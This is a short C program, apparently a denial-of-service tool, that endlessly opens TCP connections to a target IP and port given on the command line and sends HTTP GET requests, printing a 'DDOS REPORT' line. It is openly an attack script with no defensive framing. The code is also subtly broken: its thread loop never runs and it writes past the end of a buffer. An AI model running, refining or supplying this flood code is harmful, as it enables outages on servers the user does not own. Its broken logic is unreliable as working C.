#include <stdio.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <pthread.h>
#include <stdlib.h>
#include <string.h>
void *routine(char *arguments[]);

int main(int argc, char *argv[])
{
    while(1)
    {
        char *arg[3] = {NULL, argv[1], argv[2]};
        routine(arg);
        pthread_t t1[10];
        for(int i = 0; i == 10; i++)
        {
            if(pthread_create(&t1[i], NULL, (void *)routine, &arg) != 0)
            {
                perror("Error creating thread");
            }
        }
    }
    return 0;
}
void *routine(char *arguments[])
{
    // Creating the first socket
    int ClientSocket;
    ClientSocket = socket(AF_INET, SOCK_STREAM, 0);

    if(ClientSocket == -1)
    {
        perror("Error creating socket");
    }

    // connection to server
    struct sockaddr_in serverInfos;
    serverInfos.sin_family = AF_INET;
    serverInfos.sin_addr.s_addr = inet_addr(arguments[1]);
    serverInfos.sin_port = htons(atoi(arguments[2]));

    if(connect(ClientSocket, (struct sockaddr*)&serverInfos, sizeof(serverInfos)) == -1)
    {
        perror("Error connecting to server");
    }

    char data[30] = "GET / HTTP/1.1\r\n\r\n";
    char response[2000];
    char exitcode[16];
    if(send(ClientSocket, data, 30, 0) < 0)
    {
        perror("Error sending data");
    }
    if(recv(ClientSocket,response, 2000, 0) < 0)
    {
        perror("Error receiving data");
    }else
    {
        strncpy(exitcode, response, 15);
        exitcode[16] = '\0';
        printf("DDOS REPORT: %s\n", exitcode);
    }
    close(ClientSocket);
}